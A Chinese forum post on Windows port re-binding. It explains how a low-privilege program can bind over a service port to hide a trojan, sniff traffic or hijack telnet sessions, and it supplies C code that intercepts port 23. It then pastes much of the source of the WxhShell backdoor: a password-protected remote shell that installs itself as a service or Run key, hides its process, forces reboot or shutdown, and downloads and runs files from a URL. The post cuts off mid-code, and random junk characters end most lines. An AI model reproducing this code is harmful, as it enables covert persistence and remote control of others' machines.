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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \J0gzi.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CN: 36  
9n!3yZVSe  
  saddr.sin_family = AF_INET; pz?.(AmU\  
g<KBsz!{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z -(dT  
ep[7#\}5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =g/K>B  
X>F/0/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^l_W9s  
Y cO tPS%  
  这意味着什么?意味着可以进行如下的攻击: Pp3tEZfE  
K*;=^PY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Qo)>i0  
|...T 4:^Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SLz^Wg._  
 V '^s5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (sO;etW  
Z'WoChjM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E[2c`XFd8  
kHX- AsRc  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7u\^$25+h  
y| @[?B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /$WEO[o  
Q?7U iTZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K!HSQ,AC  
F7#   
  #include gjL>FOe8u  
  #include `<y2l94tL  
  #include k=w%oqpN  
  #include    e][U ;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cL<  
  int main() <d$|~qS_  
  { Bz9!a k~4  
  WORD wVersionRequested; hUB _[#8#  
  DWORD ret; J'b *^K  
  WSADATA wsaData; LJfd{R1y+  
  BOOL val; 0z_e3H{P27  
  SOCKADDR_IN saddr; z~L(kf4  
  SOCKADDR_IN scaddr; #r#UO  
  int err; 4[Hf[.  
  SOCKET s; \@GA;~x.b  
  SOCKET sc; t_x \&+W  
  int caddsize; ,~JxYh  
  HANDLE mt; QP >P  
  DWORD tid;   l`~*" 4|/  
  wVersionRequested = MAKEWORD( 2, 2 ); qx5.LiF  
  err = WSAStartup( wVersionRequested, &wsaData ); xQ^zX7  
  if ( err != 0 ) { ^6Hfq^ejt  
  printf("error!WSAStartup failed!\n"); E Rqr0>x  
  return -1; +i4S^B/8i  
  } a~9U{)@F  
  saddr.sin_family = AF_INET; U<KvKg  
   # 0dN!l;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 go@UE2qw  
+ ( `  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]xCJ3.9  
  saddr.sin_port = htons(23); SQ1.jcWW[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) co|jUDu>W  
  { T7'njaLec  
  printf("error!socket failed!\n"); .`)\GjDv  
  return -1; _ohZTT%l  
  } bT|a]b:  
  val = TRUE; O1ofN#u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9H_2Y%_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x$[<<@F%  
  { g G>1  
  printf("error!setsockopt failed!\n"); e_kP=|u)g  
  return -1; Yo/U/dB  
  } \A6MVMF8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1j`-lD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lQ<2Vw#Yl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =!*e; L  
!\'7j-6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Vl%AN;o  
  { zcF~6-aQ  
  ret=GetLastError(); X*KQWs.  
  printf("error!bind failed!\n"); w4Qqo(  
  return -1; h3Nwxj~E  
  } ' Ph  
  listen(s,2); XI} C|]#  
  while(1) #v0"hFOH,  
  { +iz5%Qe<f  
  caddsize = sizeof(scaddr); HgvgO\`]  
  //接受连接请求 g{.>nE^Sc5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I= G%r/3  
  if(sc!=INVALID_SOCKET) ^VK-[Sz&  
  { d rnqX-E;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F l83 Z>  
  if(mt==NULL) (%}T\~`1z#  
  { 4EQ7OGU  
  printf("Thread Creat Failed!\n"); #s$b\"4  
  break; bY|%ois4  
  } bW(+Aw=O  
  } nd3=\.(P  
  CloseHandle(mt); T]Gxf"mK  
  } u/Fa+S  
  closesocket(s); `zGK$,[%  
  WSACleanup(); @kvgq 0ab  
  return 0; 7}OzTup  
  }   3UU]w`At  
  DWORD WINAPI ClientThread(LPVOID lpParam) q>/# P5V  
  { (JH LWA H  
  SOCKET ss = (SOCKET)lpParam; ?Z0T9e<  
  SOCKET sc; )8kcOBG^L  
  unsigned char buf[4096]; Vc.A <(  
  SOCKADDR_IN saddr; S+3'C  
  long num; _QbLg"O  
  DWORD val; X|K"p(N  
  DWORD ret; 79U Th@r}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y3F13 Z@%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vCyvy^s-I  
  saddr.sin_family = AF_INET; !4GG q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -CfGWO#Gbx  
  saddr.sin_port = htons(23); F@Y)yi?z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iwWy]V m7  
  { Mez;DKJ`  
  printf("error!socket failed!\n"); }M'h 5x  
  return -1; lwYk`'  
  } RBIf6oxdE  
  val = 100; Zq=t&$*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  Q];gC{I  
  { sUN>uroi !  
  ret = GetLastError(); ?jbE3fW  
  return -1; 4J0{$Xuu 0  
  } }dw`[{cm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CXks~b3SD  
  { LWHP31{R  
  ret = GetLastError(); fI>>w)5  
  return -1; kKVd4B[#*  
  } Hy5_iYP5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [H;HrwM s)  
  { (__=*ew  
  printf("error!socket connect failed!\n"); 8*kZ.-T B  
  closesocket(sc); 4[a?. .X  
  closesocket(ss); 3":ef|w]  
  return -1; 4@OnMj{M  
  } F,Y,0f@4U9  
  while(1) ' Bb]< L`  
  { `l@[8H%aw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g \)+ LX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X).UvPZ/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .o91^jt  
  num = recv(ss,buf,4096,0); 95B w;U3E  
  if(num>0) pg~vteq5  
  send(sc,buf,num,0); v ~.X  
  else if(num==0) GY<ErS)2  
  break; H+vONg  
  num = recv(sc,buf,4096,0); &B^#? vmO  
  if(num>0) Pc >$[kT0  
  send(ss,buf,num,0); _H}y7  
  else if(num==0) B 3|zR  
  break; t^ L XGQ  
  } CN8GeZ-G  
  closesocket(ss); wVkms  
  closesocket(sc); j*f%<`2`j  
  return 0 ; mj5$ 2J  
  } H|;6K`O_  
m76**X  
I7TdBe-  
========================================================== Onb*nm  
%y.9S=,v,  
下边附上一个代码,,WXhSHELL ^;+lsEW  
1)(p=<$  
========================================================== f gI.q  
W"Hjn/xSS  
#include "stdafx.h" J0zudbP  
-v?,{?$0  
#include <stdio.h> uW%7X2K  
#include <string.h> qd{o64;|  
#include <windows.h> GjZ@f nF  
#include <winsock2.h> cw.Uy(ks|$  
#include <winsvc.h> 8+Al+6d|!  
#include <urlmon.h> #@H{Ypn`  
}u cqzdk#2  
#pragma comment (lib, "Ws2_32.lib") _?<Y>B, E  
#pragma comment (lib, "urlmon.lib") !VpZo*+   
cd{3JGg B  
#define MAX_USER   100 // 最大客户端连接数 ;OQ-T+(T  
#define BUF_SOCK   200 // sock buffer lMAmico  
#define KEY_BUFF   255 // 输入 buffer 5&7)hMppI  
}`6-^lj  
#define REBOOT     0   // 重启 b0X*+q   
#define SHUTDOWN   1   // 关机 ^|xj.  
!_E E|#`n  
#define DEF_PORT   5000 // 监听端口 1~8F&  
_/ j44q  
#define REG_LEN     16   // 注册表键长度 n>>hfxv(O!  
#define SVC_LEN     80   // NT服务名长度 -aG( Yx  
gXI_S9 z  
// 从dll定义API 8F($RnP3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qM3^)U2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :i0xer  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "Nd$sZk=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  ;Fcdjy  
#W 1`vke3  
// wxhshell配置信息 ( f8g}2  
struct WSCFG { ~cSC-|$^&  
  int ws_port;         // 监听端口 ]]o7ej  
  char ws_passstr[REG_LEN]; // 口令 lnbw-IE!  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9Q=g]int u  
  char ws_regname[REG_LEN]; // 注册表键名 <9-tA\`8N  
  char ws_svcname[REG_LEN]; // 服务名 V)R-w`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /r@P\_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  &N0W!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q "bpI8j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W#e:rz8=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pX6T7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T1PWFw\GH  
aO "JT  
}; 9L%&4V}BIS  
$f>WR_F  
// default Wxhshell configuration Y8.0R-:ZAN  
struct WSCFG wscfg={DEF_PORT, [KWF7GQi  
    "xuhuanlingzhe", @`}'P115@  
    1, \#tr4g~u  
    "Wxhshell", 1}S_CR4XBs  
    "Wxhshell", wVE"nN#  
            "WxhShell Service", "$0f.FO:i  
    "Wrsky Windows CmdShell Service", b_V)]>v+  
    "Please Input Your Password: ", rC_K L  
  1, "R*B~73  
  "http://www.wrsky.com/wxhshell.exe", v8*ZwF  
  "Wxhshell.exe" ddnWr"_  
    }; 2_r}4)z  
5 1 x^gX|  
// 消息定义模块 b${Kj3(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \`>Y   
char *msg_ws_prompt="\n\r? for help\n\r#>"; L8bq3Q'p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nkhM1y  
char *msg_ws_ext="\n\rExit."; ]qVJ>  
char *msg_ws_end="\n\rQuit."; _nx|ZJ  
char *msg_ws_boot="\n\rReboot..."; GmAE!+"  
char *msg_ws_poff="\n\rShutdown..."; J)jiI>  
char *msg_ws_down="\n\rSave to "; J\;~(: ~  
e1<28g  
char *msg_ws_err="\n\rErr!"; =[1 W.Zt  
char *msg_ws_ok="\n\rOK!"; 6h+/C]4  
}a<MVG:>SF  
char ExeFile[MAX_PATH]; ,nHz~Xi1t  
int nUser = 0; +nJ}+|@K  
HANDLE handles[MAX_USER]; G)<k5U4  
int OsIsNt; \re.KB#R  
RtqW!ZZ:H  
SERVICE_STATUS       serviceStatus; B.Xm*adBT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,{oP`4\Lm  
W_sDF; JP  
// 函数声明 "X]u fZ7  
int Install(void); Z@ I%ppd  
int Uninstall(void); -3 W 4  
int DownloadFile(char *sURL, SOCKET wsh); 8L=QfKr  
int Boot(int flag); x<ENN>mW1  
void HideProc(void); :A[bqRqe  
int GetOsVer(void); ww\/$ |  
int Wxhshell(SOCKET wsl); k*!J,/=k  
void TalkWithClient(void *cs); B=Zo0 p^  
int CmdShell(SOCKET sock); jNIM1_JjD  
int StartFromService(void); '6/uc:zv  
int StartWxhshell(LPSTR lpCmdLine); ~NTpMF  
aD&10b9`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <K97eAcW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CJu;X[6  
x_@ev-  
// 数据结构和表定义 ?` `+OH  
SERVICE_TABLE_ENTRY DispatchTable[] = U-lN_?  
{ U| N`X54  
{wscfg.ws_svcname, NTServiceMain}, |f>y"T+1  
{NULL, NULL} iww h,(  
}; ;3?M?E/$s  
5#d(_  
// 自我安装 h h8UKEM-  
int Install(void) =  Oq;  
{ KBJ|P^W5j  
  char svExeFile[MAX_PATH]; a"EQldm|d  
  HKEY key; 3p^WTQ>(  
  strcpy(svExeFile,ExeFile); \`XJz{Lm]  
T\WNT#My  
// 如果是win9x系统,修改注册表设为自启动 6*LU+U=`  
if(!OsIsNt) { #!hpe^t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NeK:[Q@je  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QyN~Crwo  
  RegCloseKey(key); h)<42Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FSBCk  
  RegCloseKey(key); J-QQ!qa0  
  return 0; e6_.ID'3  
    } 2;&13%@!  
  } ! \gRXP}  
} We4 FR4`  
else { (Dn-vY'  
.(hb8 rCM  
// 如果是NT以上系统,安装为系统服务 &x3"Rq_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nRo`O  
if (schSCManager!=0) e;pNB  
{ , m\0IgZdz  
  SC_HANDLE schService = CreateService DRzpV6s  
  ( CTI(Kh+  
  schSCManager, K8+b\k4E  
  wscfg.ws_svcname, lZua"Ju  
  wscfg.ws_svcdisp, c]"B)I1L  
  SERVICE_ALL_ACCESS, %-*vlNC)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *K98z ?  
  SERVICE_AUTO_START, 5m bs0GL  
  SERVICE_ERROR_NORMAL, Eyn3Vv?v  
  svExeFile, ~::R+Lh(  
  NULL, /9yiMmr5W  
  NULL, {&;b0'!Tf  
  NULL, 'qP^MdoE%~  
  NULL,  HOD2/  
  NULL /Z% ?;  
  ); k}O|4*.BT  
  if (schService!=0) H@3+K$|v  
  { #0P<#S^7  
  CloseServiceHandle(schService); 5\'%zZ,l  
  CloseServiceHandle(schSCManager); +Va?wAnr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g764wl  
  strcat(svExeFile,wscfg.ws_svcname); WR-C_1-pT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FvNO*'xP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "TV.$s$.  
  RegCloseKey(key); C>u 3n^  
  return 0; PRLV1o1#  
    } ljis3{kn""  
  } $Us@fJr  
  CloseServiceHandle(schSCManager); n=SZ8Rj7  
} ,G:4H%?  
} zo5.}mr+  
%%Kg'{-:  
return 1; Ly<;x^D  
} YH[_0!JY^  
$ i&$ZdX  
// 自我卸载 IL=v[)en4  
int Uninstall(void) ~pA;j7*  
{ FKx9$B  
  HKEY key; p%ZiTrA1&D  
#,PAM.rH  
if(!OsIsNt) { "@?|Vv,vn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~ghz%${`  
  RegDeleteValue(key,wscfg.ws_regname); :^s7#4%6  
  RegCloseKey(key); G9a%N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^(\Gonf<  
  RegDeleteValue(key,wscfg.ws_regname); vX/A9Qi,U.  
  RegCloseKey(key); }F`Tp8/&j  
  return 0; 6C0_. =7#  
  } oto od  
} "[?/I3 {E  
} ?xo,)``  
else { u20b+c4  
_]S6>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z+dR(9otH3  
if (schSCManager!=0) 5 muW*7  
{ CU;nrd"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z-gwNE{  
  if (schService!=0) OT& E)eR  
  { YKg[k:F  
  if(DeleteService(schService)!=0) { RsD`9>6)  
  CloseServiceHandle(schService); sKuTG93sr@  
  CloseServiceHandle(schSCManager); 9v F2aLPk  
  return 0; ,1[??Y  
  } 5Hm!5:ZB  
  CloseServiceHandle(schService); 9aU:[]w  
  } QO7:iSZJ  
  CloseServiceHandle(schSCManager); by U\I5  
} ?iLd5 Z  
} ,?`1ve_K<  
IeB6r+4|  
return 1; NslA/"*  
} huoKr  
(K6`nWk2  
// 从指定url下载文件 @Y<tH,*  
int DownloadFile(char *sURL, SOCKET wsh) uT/B}`md  
{ h*KHEg"+  
  HRESULT hr; a-E-hX2  
char seps[]= "/"; w~U`+2a3  
char *token; rc$!$~|I3Z  
char *file; mVK9NK  
char myURL[MAX_PATH]; v|I5Gz$qpa  
char myFILE[MAX_PATH]; ~8m>DSs)D  
1D[P\r-  
strcpy(myURL,sURL); T{<@MK%],d  
  token=strtok(myURL,seps); ?66(t  
  while(token!=NULL) E.`d k.  
  { -k <9v.:  
    file=token; !ix<|F5  
  token=strtok(NULL,seps); IOkC[([  
  } w;EXjl;X O  
GeaDaYh#T  
GetCurrentDirectory(MAX_PATH,myFILE); (<3lo ZaX  
strcat(myFILE, "\\"); lZM3Q58?\  
strcat(myFILE, file); dl6v <  
  send(wsh,myFILE,strlen(myFILE),0); ^A[`NYK  
send(wsh,"...",3,0); '98h<(@]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~{vdP=/WP  
  if(hr==S_OK) MgQU6O<  
return 0; "-n%874IT  
else 3> #mO}\  
return 1; 5; PXF  
$XQxWH|  
} | NU0tct^  
qysa!B  
// 系统电源模块 #a |ch6B  
int Boot(int flag) kLVn(dC "  
{ paNw5] -  
  HANDLE hToken; HS:}! [P  
  TOKEN_PRIVILEGES tkp; kr(<Y|  
%W4aKb?BT  
  if(OsIsNt) { E^ok`wfO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8RAeJ~e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8M|)ojH  
    tkp.PrivilegeCount = 1; f4k5R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eq~c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `MsYgd  
if(flag==REBOOT) { @qPyrgy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NVJ&C]H6  
  return 0; Nr24[e G>d  
} sk ?'^6Xh  
else { pTALhj#,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [DxefYyI  
  return 0; ZSRR lkU  
} "P'&+dH8  
  } e:J'&r& 1  
  else { hO/5>Zv?  
if(flag==REBOOT) { k&A7alw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nF<y7XkO  
  return 0; lW$&fuDHF  
} lP*  
else { f5aF6FBH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6%kJDY.  
  return 0; bqrJP3  
} qggk:cN1  
} Dk`4bYK  
43>9)t  
return 1; Pc(n@'m~  
} rMHQzQ0%  
?7uK P}1|  
// win9x进程隐藏模块 Aw4?y[{H  
void HideProc(void) 3kiE3*H  
{ l#b|@4:I  
+`*qlP;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7w Q+giu  
  if ( hKernel != NULL ) xegQRc  
  { I/HV;g:#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K3rBl!7v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )Ig+uDGk  
    FreeLibrary(hKernel); :4 j a@~  
  } [v0ri<sm  
3e%l8@R@  
return; eA?uny f2r  
} -R&E,X7N  
,g/ _eROJ  
// 获取操作系统版本 G#w^:UL  
int GetOsVer(void) zg#m09[4  
{ 7G.o@p6$  
  OSVERSIONINFO winfo; VU! l50   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a|QE *s.  
  GetVersionEx(&winfo); {N!E5*$Tr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kS+r"e .TM  
  return 1; ({%oi h  
  else 2.LJp}>  
  return 0; #zS1Z f^KP  
} =#i4MXRZ{  
2W3NL|P  
// 客户端句柄模块 ~=:2~$gsn  
int Wxhshell(SOCKET wsl) Qj(vBo?D  
{ kmlG3hOR,  
  SOCKET wsh; NoCDY2 $  
  struct sockaddr_in client; R9Sf!LR  
  DWORD myID; /l,+oG%\  
?P""KVp o  
  while(nUser<MAX_USER) XM6".eF)M  
{ <NG/i i=  
  int nSize=sizeof(client); x&C%4Y_]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6<x~Mk'u)  
  if(wsh==INVALID_SOCKET) return 1; qzA`d 5rX  
C8IkpAD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YV/>8*i  
if(handles[nUser]==0) v7i^O`{eD?  
  closesocket(wsh); d,c8Hs8  
else K8HIuQ!=  
  nUser++; #l*a~^dhqC  
  } o84UFhm   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3CR@' qG-  
Jd5\&ma  
  return 0; k"xGA*B|  
} {=UFk-$=  
h+,'B&=|_  
// 关闭 socket d_Q*$Iz)3  
void CloseIt(SOCKET wsh) #z ON_[+s9  
{ 0QMTIAW6h  
closesocket(wsh); d<Ggw#}:m  
nUser--; C:`;d&d  
ExitThread(0); 'yp>L|  
} 60!1 D>,  
;LCTCt`  
// 客户端请求句柄 LHh5 v"zjG  
void TalkWithClient(void *cs) vQ:wW',i  
{ G' Blp  
,E\h!/X  
  SOCKET wsh=(SOCKET)cs; OT%0{2c"]  
  char pwd[SVC_LEN]; ]N*L7AVl  
  char cmd[KEY_BUFF]; E {tx/$f  
char chr[1]; g;pR^D'M5C  
int i,j; jY7=mAd  
*YWk1Cwjo  
  while (nUser < MAX_USER) { 00ofHZ  
Btj#EoSI_  
if(wscfg.ws_passstr) { [SVhtrx|%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qG<7hr@x]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GCDwWCxh  
  //ZeroMemory(pwd,KEY_BUFF); Sw~(uH_l  
      i=0; ^ eQFg>  
  while(i<SVC_LEN) { '77~{jy  
|]`hXr  
  // 设置超时 \(I0wEQo$  
  fd_set FdRead; @q K]JK  
  struct timeval TimeOut; a1Hz3y~S/  
  FD_ZERO(&FdRead); HcRa`Sfc]/  
  FD_SET(wsh,&FdRead); LL&ud_Y  
  TimeOut.tv_sec=8; 7A5p["?Z  
  TimeOut.tv_usec=0; U-i.(UyZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vT|`%~Be  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HPrq1QpK  
:0$a.8Y\++  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wf#VA;d  
  pwd=chr[0]; _;56^1'T  
  if(chr[0]==0xd || chr[0]==0xa) { $ a?  
  pwd=0; f-Jbs`(+  
  break; )qL&%xz  
  }  qve ./  
  i++; H`~;|6}]n  
    } x2co>.i  
? B@&#E!/f  
  // 如果是非法用户,关闭 socket 9mlIbEAb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  Tc6:UF  
} ='Q{R*u  
n]Zk;%yL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6i.gyD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mp~y0e  
jjRUL.  
while(1) { + WVIZZ8  
* z'8j  
  ZeroMemory(cmd,KEY_BUFF); "wAf. =F  
oH^(qZ8W  
      // 自动支持客户端 telnet标准   %Y]=1BRk}  
  j=0; 41G5!=i  
  while(j<KEY_BUFF) { Y34/+Fi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G O{ . 9_2  
  cmd[j]=chr[0]; *wuqa) q2  
  if(chr[0]==0xa || chr[0]==0xd) { !*aPEf270  
  cmd[j]=0; u:&o}[  
  break; )"Q*G/+2Ie  
  } Wy4$*$  
  j++; t 42ub  
    } 9T7e\<8"vC  
]5}=^  
  // 下载文件 8S]".  
  if(strstr(cmd,"http://")) { (hB?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S4N(cn&  
  if(DownloadFile(cmd,wsh)) ('O}&F1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D-2.fjo9!  
  else 7Vu?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qH> `}/,P  
  } %dMqpY7"  
  else { L[g0&b%%-  
*>NX%by)  
    switch(cmd[0]) { !z 53OT!  
  b&#DnZcf  
  // 帮助 iDoDwq!l_  
  case '?': { #*9-d/K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  7I=C+  
    break;  J@_ctGv  
  } %' $o"  
  // 安装 T f4tj!t-  
  case 'i': { <q (z>*-e  
    if(Install()) p =(@3%k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2o3EHZ+]cm  
    else )@gZ;`n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7j$Pt8$  
    break; #>[a{<;Kn  
    } tz^/J=)"  
  // 卸载 Y^KTkS0D  
  case 'r': { : i~W } r  
    if(Uninstall()) eS+g|$cW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~g#r6pzN-  
    else 4dawg8K`9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #3$\Iu  
    break; izgp*M,  
    } @{hd{>K*  
  // 显示 wxhshell 所在路径 Bc7V)Y K  
  case 'p': { G7GZDi  
    char svExeFile[MAX_PATH]; \f:z+F!6R  
    strcpy(svExeFile,"\n\r"); 7ZxaPkIu&%  
      strcat(svExeFile,ExeFile); urBc=3Rz  
        send(wsh,svExeFile,strlen(svExeFile),0); r H8@69,B  
    break; B9R(&<4  
    } 8uNULob  
  // 重启 Jzkq)]M  
  case 'b': { ;5_{MCPM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m)v''`9LU  
    if(Boot(REBOOT)) "_|oWn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j.e0;! (L}  
    else { uo\ .7[1  
    closesocket(wsh); >Dw~P OMy  
    ExitThread(0); ^3VR-u<O  
    } wh6yPVVF/  
    break; Q=mI 9  
    } oA] KE"T  
  // 关机 $ _j[2EU  
  case 'd': { h4|i%,f  
